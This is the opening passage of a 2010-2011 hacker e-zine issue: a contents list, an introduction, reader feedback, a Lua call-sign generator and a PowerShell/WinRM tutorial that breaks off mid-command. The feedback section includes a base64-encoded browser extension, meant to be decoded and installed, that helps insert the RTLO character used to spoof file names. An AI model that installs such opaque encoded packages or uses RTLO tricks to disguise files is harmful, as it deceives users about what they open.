Go Null Yourself E-Zine #3
-dh dd.
:Mm MM.
,yNNNNNNNNo ,mMMMMMMMMd, dNNNNNNNNN, MM. yM :Mm MM.
-Mm oMd `NM: NM: :My MM. yM :Mm MM.
:Mm -++++mM oMN mM: MM: :MN MM. yM :Mm MM.
.NMmmmmmmMM 'MMmmmmmNMN' MM: :MM mMNmmmmmMM :Mm MM. /o.
hM:
.h+ sh :hdddddddh/ dd` :ds oddddddddy. ,ddddddd-d ,yddddddddo dM/ ,ddddddddd`
-Mm+++++++oMM mMs:::::oMm MM. /Mh MM::::::hMh Mm+````` yMh`````yMM mM/ Mh````````
/sssyMMssso- mM/ oMM MM. /Mh MM :+/ 'hhhhhhdM, yMh hhhhhh+ dMo MMNNNNNNNN.
.MM NMdyyyyydMN MMdyyyyymMh MM ,,,,,,,,MM sMN,,,,,,,, mMo My````````
`o+ `+ooooooo+` .+oooooooo: oo .oooooooo+: `/ooooooooo /o- My
____ My
{} _ \ +:
|__ \
0x01 Introduction /_____\ merry christmas!
0x02 Feedback + Edits \o o)\)_______
0x03 duper's Code Corner duper (< ) /#######\ We wish you Ameritech
0x04 HP Hash Cracking with MapReduce elchupathingy __{'~` }#########| We wish you Ameritech
0x05 Numbers Stations FOIA teh crew / { _}_/########| We wish you Ameritech
0x06 Port Knocking Primer storm / { / _|#/ )####| And a happy NYNEX!
0x07 205-380 Deltacom Scan Shadytel, Inc / \_~/ /_ \ |####| Verizon to you
0x08 Abusing phpBB's Tell-A-Friend Luis Santana \______\/ \ | |####| Wherever you Qwest!
0x09 New Security Features in HTML5 duper \__________\|/#####| We wish you Ameritech
0x0a Decoding Trillian Password Files storm |__[X]_____/ \###/ And a happy NYNEX!
0x0b So You've Got a Dialtone... Shadytel, Inc /___________\
0x0c Programming Challenge storm | |/ |
0x0d Et Cetera, Etc. teh crew |___/ |___/
_| /_| /
(___,_(___,_) snd
[==================================================================================================]
[================================================]
Go Null Yourself E-Zine
Issue #3 - Winter 2010-2011
www.GoNullYourself.org
[================================================]
[==================================================================================================]
-=[ 0x01 Introduction
Jesus Christ, a third issue? We may be on to something here...
Ho ho ho to all you little haxx0rz out there! We're back again with another action-packed episode
of GNY Zine, conveniently timed for the holiday season! We're here to give you everything Santa
didn't (you got a new shirt and an iPod, don't deny it), including high-performance hash cracking,
sexy codez, and a plethora of phone numbers that go beep and chirp.
We're also glad to report that issue #67 of Phrack has been released, so everyone should certainly
go read that. After you finish reading this, of course.
In case you didn't notice, we got a shiny new server in December and look forward to seeing how our
new hosting in Sweden fairs. As a result, we're now serving our own IRC and would like to introduce
the new channel: #gny on irc.gonullyourself.org, port 6667 (6697 ssl). We invite any community that
would like to host their channel with us to join our IRC network.
That seems to be about it with news updates, so bundle up, make some hot chocolate, enjoy the third
third issue of the zine, and we'll see you in the spring.
Scene Releases
==============
November 2010 - Phrack #67 (http://www.phrack.org/issues.html?issue=67)
December 2010 - Hack This Zine #11 (https://www.hackbloc.org/zine)
December 2010 - owned and exp0sed #2 (http://gonullyourself.org/ezines/exp/exp02.txt)
-=-=-
Now, on to formalities...
If you are interested in submitting content for future issues of GNY Zine, we would be happy to
review it for publication. Content may take many forms, whether it be a paper, review, scan, or
first-hand account of an event. Submissions of ASCII cover art that display the GNY logo in some
way are also appreciated. Well-received topics include computer hacking and exploitation methods,
programming, telephone phreaking (both analog and digital), system and network exploration, hardware
hacking, reverse engineering, amateur radio, cryptography and steganography, and social engineering.
We are also receptive to content relating to concrete subjects such as science and mathematics,
along with more abstract subjects such as psychology and culture. Both technical and non-technical
material is accepted.
Submissions of content, suggestions for and criticisms of the zine, and death threats may be sent
via:
- IRC private message (storm or m0nkee @ irc.gonullyourself.org #gny)
- Email (zine@gonullyourself.org)
If there is enough feedback, we will publish some of the messages in future issues. Our PGP key is
available for use below.
We have devoted a lot of effort into this publication and hope that you learn something from reading
it. Abiding by our beliefs, any information within this e-zine may be freely re-distributed,
utilized, and referenced elsewhere, but we do ask that you keep the articles fully intact (unless
citing certain passages) and give credit to the original authors when and where necessary.
Go Null Yourself, its staff members, and the authors of GNY Zine are not responsible for any harm or
damage that may result from the information presented within this publication. Although people will
be people and act in idiotic fashions, we do not condone, promote, or participate in illegal
behavior in any way.
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.11 (GNU/Linux)
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
8QJQ4gF00KrsCCSrPyg/cZ5G
=g7oJ
-----END PGP PUBLIC KEY BLOCK-----
[==================================================================================================]
-=[ 0x02 Feedback and Edits
We always strive to publish accurate information in GNY Zine, but we the authors and editors are in
fact human beings and are subject to making mistakes from time to time, despite our best efforts.
The publication, compilation, and distribution of this e-zine is derived entirely from our passion
for technology and curiosity of how things tick. GNY Zine has no commercial influences. If you
find that there is an error in content that we have published, please do not hesitate to email us so
that it may be announced and corrected in the next issue. Not acting like a stuck-up elitist about
it will probably invoke a more positive response too.
With that being said, we are also receptive to content or personal experiences relevant to
information presented in past issues. If you've written some code, applied a concept in a new way,
or just want to voice your opinion about a topic, send us an email!
We may be contacted at: zine@gonullyourself.org
(PGP key is available in the Introduction)
Please note that emails we like will be published in future issues, so specify if you wish for your
message to remain private or if you wish for us to redact certain personal information from it.
----------------------------------------------------------------------------------------------------
In response to the RTLO spoofing article from issue #1, LostBrilliance from InformationLeak.org
shared a FireFox plugin he wrote to easily copy the RTLO character into the clipboard.
rtolcopy.xpi can be downloaded from: http://www.wonbrilliance.com/rtolcopy/rtolcopy.xpi
or simply Base64-decoded from right here:
UEsDBBQAAAAIACCARD1IBSSpRAAAAG8AAAAPAAAAY2hyb21lLm1hbmlmZXN0S87PK0nNK1EoKsnPSc4vqFRIhgjo83Lll6UW5SQC
RTKK8nNTrfT1k4ryy4tTi/RhSqB8vYrSHIQimEFwVVBjQKp4uQBQSwMEFAAAAAgA7YFEPQBQY/+IAQAAHQMAAAsAAABpbnN0YWxs
LnJkZm2SXWvbMBSG7wv9D8K9KAxsKXZoa+O4Gy27KgzCtvtj5SQR6MNIypy07L9Pk5PYyXZnv+d5X58P1897JckvtE4YvUhmGUue
m9ub25t6+fqVhJp2i2TrfVdR2vd91heZsRs6K8uSspzmeWpX69QdtId9qt1dMngqVBc2Zd6FlBC9OWNziuqv8S4J3yKkfkXHreh8
6IFAa3Z+keysro6uSmjnQcpUgRZrdH5wBR+qSqwa2X7ujW5tYAVojhk3qqZDbQT9ocMmj3p8HCsaFDbL79/eyIvpDpGI0kgc99Ow
bBbLp/eRWI0TNCFFoCN+iySm8i1Y4B4t8SaqO4f23hEuRdcasKuYOU0Yc7lF8MaGGSN0eh2BrVHYwQZ/LN+a6Z2uF0KtN5KH+WgM
mtomOwK7Qf+l66TgMOnk8kRn8XyBD+RPrGDrx5TnDNL5w3ydli3DdFZAASWWj8XT/PflTU52JfTP4zrzjEVmIl2xsD8Viuwh+zTQ
o0jIuV/6b8PD7f874jVe0/D7N38AUEsDBAoAAAAAALyBRD0AAAAAAAAAAAAAAAAIAAAAY29udGVudC9QSwMEFAAAAAgApYFEPQ1E
uOs0AQAA4QEAABMAAABjb250ZW50L292ZXJsYXkueHVsXZFBTwIxEIXvJv6HppeFSwschQWTvUiiwQg3NaaUYbeh7TRtl2X59XZZ
Ncit/fJm3puZ2eJkNDmCDwptTsdsRBfz+7sZJqRFS9Qupz6ilujaVc8oSSU25LSK0T1w3jQNM3hWWguGvuQHaI0IETwvRYQDgEvP
WIEHpgJDq1t2qjVNLoTMDNjaoavdxan7fW0QdXjtWK/5UakI5l+clwSXCVKixRZ0TosEydtm9UyKSnghUwRKlA3g4xb26CGnQVgV
1RnW4JIioqe9A0Er0RhhU/+j8KQstHJbFH73BDrlJzkp0Di0YGNgUosQILxnj9dzN2pXQuTyt7K6VE7H2SdLfA3+qCQMrtoomxLu
hYTAbFjeOA6ntxlYN/Q6emXLQfZRT0YTyIZTSni/Sf63yu5+/OeA829QSwECFAAUAAAACAAggEQ9SAUkqUQAAABvAAAADwAAAAAA
AAABACAAAAAAAAAAY2hyb21lLm1hbmlmZXN0UEsBAhQAFAAAAAgA7YFEPQBQY/+IAQAAHQMAAAsAAAAAAAAAAQAgAAAAcQAAAGlu
c3RhbGwucmRmUEsBAhQACgAAAAAAvIFEPQAAAAAAAAAAAAAAAAgAAAAAAAAAAAAQAAAAIgIAAGNvbnRlbnQvUEsBAhQAFAAAAAgA
pYFEPQ1EuOs0AQAA4QEAABMAAAAAAAAAAQAgAAAASAIAAGNvbnRlbnQvb3ZlcmxheS54dWxQSwUGAAAAAAQABADtAAAArQMAAAAA
----------------------------------------------------------------------------------------------------
Glad to see ya'll put out a new issue, thought I'd send some
constructive criticism.
1. Leave the Drama In Your Inbox
Nobody wants to learn about your beef with whoever as long as it's just
some personal stuff. If somebody ratted on somebody or performed some
other type of community transgression then let's hear it but if they're
just an asshat or a troll, don't feed them by putting them in your zine.
It's a waste of the reader's time.
The hacker community already has enough problem with divisiveness.
There's people who think they're leeter than everybody else and make the
community unwelcoming to newcomers, there's people who give out bad
advice, there's people who trojan their tools, and there's people who
flame all day. There's also a bunch of inter-personal drama that
doesn't need to play out in our forums and newsletters. Be bigger people
by not participating in it, calling it out, and "taking the high road".
There's also people who rat on their friends and get people locked up,
fuck them as well.
2. Can we get a mailing list?
A lot of people don't spend all day on forums (though props to those who
have the time). If you could set up an email list (announcements only)
or an RSS feed for those of us who want to keep up to date with the new
issues, that would be awesome! I only happened to come across this issue
by chance.
3. Formatting is cool...
A text zine is cool but they can be kind of a pain in the ass to scroll
through or hand out to people. You can do some easy formatting in your
program of choice (indesign, office, etc). If this was something people
could print and give people physical copies of, that would be sweet.
Hell, you could even get a table at the next HOPE conference and do just
that. I know this entails a little more work, but from my perspective
it's much more accessible to people, especially those who are new to the
hacking scene.
4. Keep the code short
It's great that this zine is publishing so much original code, but it
can be a pain in the ass to navigate. It would be nice if you could just
link to the code and only actually include the parts that are relevant
(this is what 2600 does).
5. PGP
On the nit-pickey end of things, can you get a PGP key for your email
address? The privacy-minded among us would appreciate it and this is a
practice all hackers should be promoting.
Hope some of this feedback proves useful to you. Keep up the great zine!
Thanks,
[redacted]
>> Thanks for the feedback. We were actually seriously considering printing the zine and offering
>> hard copies, but it was just too expensive to do it semi-professionally. We'll still looking for
>> ways to do it, though. And you're right about the drama - we'll try to leave worthless squabble
>> like that out of future issues.
[==================================================================================================]
-=[ 0x03 duper's Code Corner
-=[ Author: duper
-=[ Website: http://projects.ext.haxnet.org/~super/
_=[[
_ __ _
( ) /_/ ( )
_| | _ _ ___ ___ __ __ __ ___ _| | ___ __ ___ __ ____ ___ __
/ o )( U )( o \( o_)( _) (_' / /( o )/ o )( o_) / /( o )( _)( __ )( o_)( _)
\___\/___\/ __/ \( /_\ /__) \_\ \_/ \___\ \( \_\ \_/ /_\ /_\/_\ \( /_\
|_|
"It is tempting, if the only tool you have is a hammer, to treat everything
as if it were a nail."
- Abraham Maslow, 1966 CE. (Law of the instrument)
]]
--
-- ... o # # |"| !!!
-- o,*,(o o) ` /_\ ' #=ooO=========Ooo=# _|_|_ ` _ _ '
-- 8(o o)(_)Ooo - (o o) - # \\ (o o) // # (o o) - (OXO) -
-- ooO-(_)---Ooo----ooO--(_)--Ooo---------(_)--------ooO--(_)--Ooo-ooO--(_)--Ooo-
--
-- generate a random amateur radio call sign which is formatted in the United
-- States FCC's advanced class style, i.e. five characters: KA-KZ, NA-NZ, or
-- WA-WZ plus two letters such as "NZ9WA." This is a Lua script tested on:
-- Lua 5.1.4 Copyright (C) 1994-2008 Lua.org, PUC-Rio
math.randomseed(os.time())
function range(from, to, step)
step = step or 1
return function(_, lastvalue)
local nextvalue = lastvalue + step
if step > 0 and nextvalue <= to or step < 0 and nextvalue >= to or
step == 0
then
return nextvalue
end
end, nil, from - step
end
function f() return 3, 1, -1 end
prefixTable = {'K', 'N', 'Z'}
beginAlpha = 65
beginNumber = 48
charSeq = string.format("%s", prefixTable[math.random(3)])
indexVals = {2, 4, 5}
function makesign()
local ret = ""
local rnd = math.random
local fmt = string.format
for x in range(f()) do
local k = indexVals[x]
ret = ret .. fmt("%c", beginAlpha + rnd(25))
if k == 2 then ret = ret .. fmt("%c", beginNumber + rnd(9)) end
end
ret = ret .. fmt("%c", beginAlpha + rnd(25))
return ret
end
callSign = makesign()
print(callSign)
--------------------------------------------------------------------------------
### Windows Remote Management and PowerShell v2.0 Recipes
#
# Ever wonder why the new releases of the Windows Server operating systems tend
# to expose several odd-ball web servers that claim "Microsoft-HTTPAPI?" If so,
# keep reading! Recent enhancements in non-IIS HTTP services are leading to what
# is likely one of the biggest out-of-the-box Internetworking changes in recent
# years; at least in terms of what's beginning to frequently materialize in nmap
# output. It may seem surprising but these additional TCP listeners are actually
# closely intertwined with Microsoft's new command-line interface: PowerShell.
# PowerShell is a command-line environment developed and supported by Microsoft
# that's typically used by Windows Server administrators to structure custom
# management tasks. The PowerShell ISE (Integrated Scripting Environment) is now
# packaged with Windows Server 2008 R2 out of the box and can be installed
# through the Add Features Wizard in Server Manager. Those that are using
# Windows client operating systems may download the Windows Management Framework
# Core package at Microsoft's web site; it's available in both x86 and x64
# varieties.
#
# PowerShell is being packaged with the Windows Management Framework because of
# the ties it has to WinRM (Windows Remote Management) 2.0. WinRM is a form of
# WS-Management for SOAP/XML Web Services. Although WinRM was created by
# Microsoft, WS-Management is an open standard developed by DMTF, the Desktop
# Management Task Force. Novell also invested in this technology for SuSE Linux;
# as a result, an open-source Linux command-line client is available from
# openwsman.org. Interestingly enough, there's another open source (MIT license)
# management information framework called OpenPegasus that runs on the usual
# server-side operating systems--OpenVMS included! Microsoft contributes code to
# the project because it's listed at microsoft.com/opensource in addition to the
# primary openpegasus.org distribution site. Despite all of this sort of
# sideline activity going on, the Windows Server implementations and toolsets
# for DMTF's specifications remain mature, rock solid, and lacking
# comparison/competition.
#
# WS-Management and WinRM give PowerShell the capability to execute complex
# shell script pipelines across numerous boxen with massive parallelism. The
# Invoke-Command cmdlet and the PowerShell ISE "remote" button both utilize
# WSMAN. Version 2 of PowerShell features quite a few WinRM-specific cmdlets
# and help files out-of-the-box:
Name Category
---- --------
Set-WSManQuickConfig Cmdlet
Test-WSMan Cmdlet
Connect-WSMan Cmdlet
Disconnect-WSMan Cmdlet
Get-WSManInstance Cmdlet
Set-WSManInstance Cmdlet
Remove-WSManInstance Cmdlet
New-WSManInstance Cmdlet
Unregister-PSSessionConfiguration Cmdlet
Set-PSSessionConfiguration Cmdlet
Enable-PSSessionConfiguration Cmdlet
Disable-PSSessionConfiguration Cmdlet
Enable-PSRemoting Cmdlet
New-PSSession Cmdlet
Start-Job Cmdlet
Get-WmiObject Cmdlet
Get-Service Cmdlet
Set-Service Cmdlet
about_parameters HelpFile
about_preference_variables HelpFile
about_remote_FAQ HelpFile
about_remote_requirements HelpFile
about_remote_troubleshooting HelpFile
about_Windows_PowerShell_2.0 HelpFile
about_WMI_Cmdlets HelpFile
about_WS-Management_Cmdlets HelpFile
# It's very typical for Microsoft to provide backwards compatibility in their
# new technologies for almost all of their pre-existing or "old" technologies.
# WoW64 and UAC File Virtualization are good examples of this concept in
# practice. WinRM is no different. WS-Management continues to expose the
# pre-existing WMI (Windows Management Instrumentation) namespaces. This is no
# mistake--WMI was developed out of another DMTF standard, WBEM (Web-Based
# Enterprise Management.) Even Windows client OSen include a Forms GUI for
# testing WMI called wbemtest.exe which features WQL, a SQL-like query language
# in addition to point-and-click navigation. Up until now, remote WMI access was
# typically over DCOM (Distributed Component Object Model), an RPC (Remote
# Procedure Call) protocol, e.g. to fetch the process table from a remote
# machine one would execute "wmic.exe /user:domain\user /password:pass
# /node:hostname process". WMI interaction in PowerShell can be blunt and
# direct, as is the case with the Get-WmiObject cmdlet. However, it can also be
# abstracted through WinRM. For instance, winrm.cmd is a utility implemented
# with Windows Script Host (cscript.exe) that allows leisurely navigation of
# WMI's Common Information Model (CIM) via the classic MS-DOS cmd.exe shell:
c:\Windows\System32>winrm get wmicimv2/Win32_Service?Name=WinRM
Win32_Service
AcceptPause = false
AcceptStop = true
Caption = Windows Remote Management (WS-Management)
CheckPoint = 0
CreationClassName = Win32_Service
Description = Windows Remote Management (WinRM) service implements the
WS-Management protocol for remote management. WS-Management is a standard
web services protocol used for remote software and hardware management. The
WinRM service listens on the network for WS-Management requests and
processes them. The WinRM Service needs to be configured with a listener
using winrm.cmd command line tool or through Group Policy in order for it to
listen over the network. The WinRM service provides access to WMI data and
enables event collection. Event collection and subscription to events
require that the service is running. WinRM messages use HTTP and HTTPS as
transports. The WinRM service does not depend on IIS but is preconfigured to
share a port with IIS on the same machine. The WinRM service reserves the
/wsman URL prefix. To prevent conflicts with IIS, administrators should
ensure that any websites hosted on IIS do not use the /wsman URL prefix.
DesktopInteract = false
DisplayName = Windows Remote Management (WS-Management)
ErrorControl = Normal
ExitCode = 0
InstallDate = null
Name = WinRM
PathName = C:\Windows\System32\svchost.exe -k NetworkService
ProcessId = 228
ServiceSpecificExitCode = 0
ServiceType = Share Process
Started = true
StartMode = Auto
StartName = NT AUTHORITY\NetworkService
State = Running
Status = OK
SystemCreationClassName = Win32_ComputerSystem
SystemName = UFO
TagId = 0
WaitHint = 0
# By now, I'm sure some are wondering what sort of access control WinRM
# implements given the wide array of capabilities it enables. The options are as
# follows: None, Basic, Digest, Negotiate, Kerberos, CredSSP. There's also an
# option for plaintext SOAP versus HTTPS. Most users are likely to go with the
# lame defaults that Set-WSManQuickConfig provides (a PowerShell cmdlet that
# also creates an opening in the Windows Firewall ruleset in order to enable
# WS-Management activity. If you'd like to fine tune the WinRM security settings
# then have a look at "winrm.cmd help auth" in MS-DOS or better yet, comfortable
# with the WSMan provider for PowerShell. A PowerShell Provider structures data
# into a hierarchy of Windows-style directory pathnames. For example, it's easy
# to navigate and edit a registry hive by simply changing to that particular
# drive:
PS C:\> cd HKLM:
PS HKLM:\> dir
Hive: HKEY_LOCAL_MACHINE
SKC VC Name Property
--- -- ---- --------
2 0 BCD00000000 {}
4 0 HARDWARE {}
1 0 SAM {}
Get-ChildItem : Requested registry access is not allowed.
At line:1 char:4
+ dir <<<<
+ CategoryInfo : PermissionDenied: (HKEY_LOCAL_MACHINE\SECURITY:String)
[Get-ChildItem], SecurityException
+ FullyQualifiedErrorId : System.Security.SecurityException,
Microsoft.PowerShell.Commands.GetChildItemCommand
16 0 SOFTWARE {}
8 0 SYSTEM {}
# For those that are accustomed to Unix-like shells, PowerShell is packaged with
# dozens of aliases to traditional UNIX commands; i.e. man is Get-Help, mv is
# Item-Rename, cd is Set-Location, etc. Run the Get-Alias cmdlet for a full list.
# Here's a glimpse of the WSMan provider:
PS HKLM:\> cd WSMan:\localhost\Shell
PS WSMan:\localhost\Shell> dir
WSManConfig: Microsoft.WSMan.Management\WSMan::localhost\Shell
Name Value
---- -----
AllowRemoteShellAccess true
IdleTimeout 180000
MaxConcurrentUsers 5
MaxShellRunTime 2147483647
MaxProcessesPerShell 15
MaxMemoryPerShellMB 150
MaxShellsPerUser 5
# To get a list of available PowerShell providers, run the Get-PSProvider cmdlet.
# The remainder of this article consists of demonstrations for various
# PowerShell recipes I've found myself writing recently. If you're interested in
# learning more about PowerShell or WSMan and the Get-Help system isn't
# sufficient, then check with a book retailer. Several excellent pieces of
# literature are already available, including some from Microsoft Press.
# Get the first ten security event log entries that aren't group policy audit
# successes and display them in red while widening the output columns since
# event log entries are lengthy.
PS C:\Users\Administrator> Write-Host -ForegroundColor Red
>> $(Get-EventLog -LogName Where-Object {!($_.EntryType -eq "SuccessAudit")} |
>> Select-Object -First 10 | Out-String -Width 192)
>>
Index Time EntryType Source InstanceID Message
----- ---- --------- ------ ---------- -------
18116 Nov 25 04:04 FailureA... Microsoft-Windows... 4625 An account failed to log on....
16855 Nov 11 17:58 FailureA... Microsoft-Windows... 4625 An account failed to log on....
16854 Nov 11 17:58 FailureA... Microsoft-Windows... 4625 An account failed to log on....
16592 Oct 17 21:59 FailureA... Microsoft-Windows... 4625 An account failed to log on....
16420 Oct 07 04:07 FailureA... Microsoft-Windows... 5028 Windows Firewall was unable to
parse the new security policy. Windows Firewall will continue to enforce the current poli...
16419 Oct 07 04:07 FailureA... Microsoft-Windows... 5027 The Windows Firewall service
was unable to retrieve the security policy from the local storage. Windows Firewall will co...
16411 Oct 07 03:53 FailureA... Microsoft-Windows... 4625 An account failed to log on....
15703 Sep 09 12:12 FailureA... Microsoft-Windows... 4625 An account failed to log on....
15702 Sep 09 12:09 FailureA... Microsoft-Windows... 4625 An account failed to log on....
15633 Sep 09 00:57 FailureA... Microsoft-Windows... 4625 An account failed to log on....
# Show the discretionary access control list for the Background Intelligent
# Transfer Service registry keys in the HKEY_LOCAL_MACHINE hive.
PS C:\> Get-Acl HKLM:\SYSTEM\CurrentControlSet\services\BITS | Format-List
Path : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\BITS
Owner : BUILTIN\Administrators
Group : BUILTIN\Administrators
Access : BUILTIN\Users Allow ReadKey
BUILTIN\Users Allow -2147483648
BUILTIN\Administrators Allow FullControl
BUILTIN\Administrators Allow 268435456
NT AUTHORITY\SYSTEM Allow FullControl
NT AUTHORITY\SYSTEM Allow 268435456
CREATOR OWNER Allow 268435456
Audit :
Sddl : O:BAG:BAD:AI(A;ID;KR;;;BU)(A;CIIOID;GR;;;BU)(A;ID;KA;;;BA)(A;CIIOID;GA;;;BA)(A;ID;KA;;;SY)(A;CIIOID;GA;;;SY)(A;CIIOID;
GA;;;CO)
# View all installed Hot Fix ID's on a single line.
PS C:\> ((Get-HotFix | %{$_.HotFixId}) -split " ") -join " "
KB981391 KB981392 KB977236 KB981111 KB977238 982861 KB977239 KB981390 KB2028551 KB2028560
KB2032276 KB2079403 KB2120976 KB2124261 KB2158563 KB2160329 KB2183461 KB2207566 KB2249857
KB2259539 KB2264080 KB2271195 KB2272691 KB2286198 KB2296011 KB2296199 KB2305420 KB2345316
KB2345886 KB2347290 KB2378111 KB2385678 KB2386667 KB2387149 KB2388210 KB2398632 KB2416471
KB2423089 KB2436673 KB2442962 KB2443685 KB2448827 KB2467659 KB958488 KB971468 KB972270
KB974431 KB974571 KB975467 KB975560 KB976264 KB976902 KB977074 KB977380 KB977894 KB978262
KB978542 KB978601 KB978637 KB978886 KB979099 KB979306 KB979309 KB979482 KB979538 KB979559
KB979683 KB979687 KB979688 KB979900 KB979916 KB980182 KB980195 KB980218 KB980232 KB980408
KB980436 KB980846 KB981332 KB981793 KB981852 KB981957 KB982110 KB982132 KB982214 KB982381
KB982519 KB982799 KB983590
# Display static member methods for the .NET Framework DateTime type in a
# self-adjusting tabular output format.
PS C:\> [System.DateTime] | Get-Member -Static -MemberType Method | Format-Table -AutoSize
TypeName: System.DateTime
Name MemberType Definition
---- ---------- ----------
Compare Method static int Compare(System.DateTime t1, System.DateTime t2)
DaysInMonth Method static int DaysInMonth(int year, int month)
Equals Method static bool Equals(System.DateTime t1, System.DateTime t2),
static bool Equals(System.Object objA...
FromBinary Method static System.DateTime FromBinary(long dateData)
FromFileTime Method static System.DateTime FromFileTime(long fileTime)
FromFileTimeUtc Method static System.DateTime FromFileTimeUtc(long fileTime)
FromOADate Method static System.DateTime FromOADate(double d)
IsLeapYear Method static bool IsLeapYear(int year)
Parse Method static System.DateTime Parse(string s), static System.DateTime
Parse(string s, System.IFormatProv...
ParseExact Method static System.DateTime ParseExact(string s, string format,
System.IFormatProvider provider), stat...
ReferenceEquals Method static bool ReferenceEquals(System.Object objA, System.Object objB)
SpecifyKind Method static System.DateTime SpecifyKind(System.DateTime value,
System.DateTimeKind kind)
TryParse Method static bool TryParse(string s, System.DateTime&, mscorlib,
Version=2.0.0.0, Culture=neutral, Publ...
TryParseExact Method static bool TryParseExact(string s, string format,
System.IFormatProvider provider, System.Global...
# Convert file version information for code modules present in the winlogon.exe process to HTML,
# store it in a file, then display the last two modules with CGI escapes but no HTML tags.
PS C:\> Get-Process -Module winlogon | ForEach-Object {$_.FileVersionInfo} | ConvertTo-Html |
